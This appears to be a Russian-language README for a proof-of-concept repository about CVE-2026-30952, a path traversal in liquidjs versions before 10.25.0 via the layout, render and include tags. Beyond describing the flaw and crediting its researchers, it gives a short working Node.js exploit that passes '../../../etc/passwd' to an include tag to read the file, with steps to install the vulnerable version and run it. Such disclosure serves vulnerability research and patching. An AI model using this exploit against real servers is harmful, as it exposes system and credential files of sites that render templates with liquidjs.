
PoC для CVE-2026-30952: уязвимость Path Traversal в liquidjs через абсолютные пути в тегах layout, render и include.
Этот репозиторий содержит Proof of Concept (PoC) для CVE-2026-30952 — уязвимости обхода пути с высоким уровнем серьезности, обнаруженной в библиотеке liquidjs (версии < 10.25.0).
Авторы и исследователи:
Moriel Harush Maor Caplan
Уязвимость позволяет произвольный доступ к файлам через теги layout, render и include, когда они используются с абсолютными путями. Это происходит даже при указании корневого каталога root, поскольку механизм резервного поиска в библиотеке не выполняет надлежащую проверку того, что разрешенный путь остается в пределах заданного корневого каталога.
Воздействие: Злоумышленник может прочитать конфиденциальные файлы (например, /etc/passwd, файлы окружения), если он может контролировать содержимое шаблона или переменную, передаваемую в эти теги.
const { Liquid } = require('liquidjs');
const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));

liquidjs (npm install [email protected])npm install.node exploit.js